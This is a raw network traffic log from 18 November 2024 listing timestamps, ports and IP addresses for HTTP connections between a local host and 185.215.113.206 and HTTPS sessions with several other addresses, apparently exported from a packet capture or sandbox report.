Nov 18, 2024 04:41:35.405256987 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405263901 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.405273914 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405288935 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405298948 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.405304909 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405320883 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.405339956 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.405463934 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405478954 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405493975 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405504942 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.405508995 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405524015 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405533075 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.405539989 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405555010 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405566931 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405570030 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.405591965 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.405625105 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.405689001 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405704021 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405719042 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405735016 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405740023 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.405750990 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405764103 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405776024 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.405798912 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.405814886 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405828953 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405844927 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405860901 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405864000 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.405875921 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405884981 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.405920029 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.405925989 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405941010 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405953884 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.405958891 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.405993938 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.409245014 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.409291983 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.409320116 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.409336090 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.409354925 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.409362078 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.409377098 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.409378052 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.409399033 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.409399033 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.409418106 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.409425974 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.409452915 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.409459114 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.409521103 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.443439960 CET	443	49902	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.444139004 CET	49902	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.444154024 CET	443	49902	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.444797993 CET	49902	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.444809914 CET	443	49902	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.450576067 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.450608015 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.450625896 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.450642109 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.450650930 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.450680017 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.477650881 CET	443	49907	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.478883982 CET	49907	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.478895903 CET	443	49907	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.479931116 CET	443	49907	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.479986906 CET	49907	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.480386972 CET	49907	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.480436087 CET	443	49907	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.480679035 CET	49907	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.480685949 CET	443	49907	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.481228113 CET	443	49906	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.481856108 CET	49906	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.481865883 CET	443	49906	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.482875109 CET	443	49906	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.483110905 CET	49906	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.483364105 CET	49906	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.483426094 CET	443	49906	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.483536005 CET	49906	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.488914013 CET	443	49904	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.489387035 CET	49904	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.489398003 CET	443	49904	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.490478992 CET	443	49904	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.490611076 CET	49904	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.493093967 CET	443	49903	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.493865013 CET	443	49905	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.499402046 CET	49903	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.499412060 CET	443	49903	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.500025034 CET	443	49903	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.500154972 CET	49904	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.500248909 CET	443	49904	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.517493010 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.517524004 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.517543077 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.517630100 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.517630100 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.517647982 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.517776966 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.519525051 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.519542933 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.519637108 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.519637108 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.519646883 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.519687891 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.519809008 CET	49904	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.519829035 CET	443	49904	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.520961046 CET	49903	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.521282911 CET	443	49903	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.521555901 CET	49905	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.521574974 CET	443	49905	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.521727085 CET	49903	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.522244930 CET	443	49905	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.522264004 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522281885 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522321939 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.522341013 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.522363901 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522381067 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522408962 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522423029 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522430897 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.522448063 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522463083 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522466898 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.522488117 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522490978 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.522505045 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522521019 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522531986 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.522566080 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522567034 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.522583008 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522597075 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522620916 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.522640944 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.522670031 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522684097 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522700071 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522715092 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522727013 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.522732019 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522746086 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522777081 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.522785902 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522799015 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.522803068 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522834063 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.522862911 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522876978 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522892952 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522905111 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.522907972 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522924900 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522938967 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522943020 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.522954941 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.522979021 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.522999048 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.523019075 CET	49905	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.523071051 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523087025 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523102045 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523113012 CET	443	49905	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.523127079 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.523128033 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523147106 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523164034 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.523164988 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523195028 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523205042 CET	49905	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.523209095 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523212910 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.523226023 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523236990 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.523241043 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523274899 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.523308039 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523335934 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523350000 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.523350954 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523367882 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523384094 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523385048 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.523426056 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.523468971 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523483038 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523498058 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523515940 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523525953 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.523551941 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523551941 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.523587942 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523592949 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.523603916 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523629904 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.523648977 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.523659945 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523675919 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523694992 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.523713112 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.523755074 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.531335115 CET	443	49906	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.567325115 CET	443	49905	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.567327976 CET	443	49903	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.575458050 CET	443	49902	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.575609922 CET	443	49902	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.576087952 CET	49902	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.599899054 CET	443	49911	23.198.7.229	192.168.2.6
Nov 18, 2024 04:41:35.600369930 CET	49911	443	192.168.2.6	23.198.7.229
Nov 18, 2024 04:41:35.600383997 CET	443	49911	23.198.7.229	192.168.2.6
Nov 18, 2024 04:41:35.600723028 CET	443	49911	23.198.7.229	192.168.2.6
Nov 18, 2024 04:41:35.601659060 CET	49911	443	192.168.2.6	23.198.7.229
Nov 18, 2024 04:41:35.601725101 CET	443	49911	23.198.7.229	192.168.2.6
Nov 18, 2024 04:41:35.606978893 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.608925104 CET	443	49907	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.609124899 CET	443	49907	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.609191895 CET	49907	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.609541893 CET	443	49912	23.198.7.229	192.168.2.6
Nov 18, 2024 04:41:35.610450983 CET	49912	443	192.168.2.6	23.198.7.229
Nov 18, 2024 04:41:35.610469103 CET	443	49912	23.198.7.229	192.168.2.6
Nov 18, 2024 04:41:35.612176895 CET	443	49912	23.198.7.229	192.168.2.6
Nov 18, 2024 04:41:35.612528086 CET	49912	443	192.168.2.6	23.198.7.229
Nov 18, 2024 04:41:35.612528086 CET	49912	443	192.168.2.6	23.198.7.229
Nov 18, 2024 04:41:35.612772942 CET	49912	443	192.168.2.6	23.198.7.229
Nov 18, 2024 04:41:35.612777948 CET	443	49912	23.198.7.229	192.168.2.6
Nov 18, 2024 04:41:35.612865925 CET	443	49912	23.198.7.229	192.168.2.6
Nov 18, 2024 04:41:35.613280058 CET	443	49906	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.613344908 CET	49906	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.613356113 CET	443	49906	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.613445044 CET	443	49906	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.613504887 CET	49906	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.625236988 CET	49904	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.633121014 CET	49907	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.633148909 CET	443	49907	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.634072065 CET	49915	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.634104967 CET	443	49915	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.634799004 CET	49915	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.635236979 CET	49915	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.635272980 CET	443	49915	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.635477066 CET	49906	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.635492086 CET	443	49906	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.635523081 CET	49906	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.635545015 CET	49906	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.636457920 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.636481047 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.636626959 CET	49916	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.636653900 CET	443	49916	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.636745930 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.636749029 CET	49916	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.636756897 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.636852980 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.637495041 CET	49916	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.637507915 CET	443	49916	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.638036966 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.638058901 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.638138056 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.638149977 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.638194084 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.638242960 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.638242960 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.638252020 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.638268948 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.638308048 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.638349056 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.641665936 CET	49902	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.641683102 CET	443	49902	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.641695023 CET	49902	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.641700029 CET	443	49902	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.650042057 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.650064945 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.650724888 CET	49917	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.650744915 CET	443	49917	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.650818110 CET	49917	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.651500940 CET	49917	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.651511908 CET	443	49917	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.658063889 CET	49908	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.658077955 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.659739017 CET	443	49903	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.659771919 CET	443	49903	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.659826040 CET	49903	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.659853935 CET	443	49903	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.659868956 CET	443	49903	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.659931898 CET	49903	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.661510944 CET	49908	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.661518097 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.663326979 CET	49903	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.663340092 CET	443	49903	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.664846897 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.666086912 CET	49909	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.666099072 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.667109966 CET	49909	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.667114973 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.673654079 CET	49911	443	192.168.2.6	23.198.7.229
Nov 18, 2024 04:41:35.673899889 CET	49912	443	192.168.2.6	23.198.7.229
Nov 18, 2024 04:41:35.673909903 CET	443	49912	23.198.7.229	192.168.2.6
Nov 18, 2024 04:41:35.720376968 CET	443	49905	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.720407963 CET	443	49905	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.720494032 CET	443	49905	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.720525980 CET	49905	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.720567942 CET	49905	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.725780010 CET	49905	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.725801945 CET	443	49905	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.747457027 CET	443	49912	23.198.7.229	192.168.2.6
Nov 18, 2024 04:41:35.747534037 CET	443	49912	23.198.7.229	192.168.2.6
Nov 18, 2024 04:41:35.747627020 CET	49912	443	192.168.2.6	23.198.7.229
Nov 18, 2024 04:41:35.748795033 CET	49912	443	192.168.2.6	23.198.7.229
Nov 18, 2024 04:41:35.748817921 CET	443	49912	23.198.7.229	192.168.2.6
Nov 18, 2024 04:41:35.784775972 CET	49918	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.784826040 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.784974098 CET	49918	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.785222054 CET	49918	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.785242081 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.785512924 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.788320065 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.788503885 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.788559914 CET	49908	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.788758039 CET	49908	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.788758039 CET	49908	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.788774967 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.788785934 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.790369987 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.791529894 CET	49919	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.791582108 CET	443	49919	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.791673899 CET	49919	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.791914940 CET	49919	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.791929960 CET	443	49919	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.792876005 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.792916059 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.792977095 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.792993069 CET	49909	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.793107986 CET	49909	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.793107986 CET	49909	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.793184042 CET	49909	443	192.168.2.6	13.107.246.45
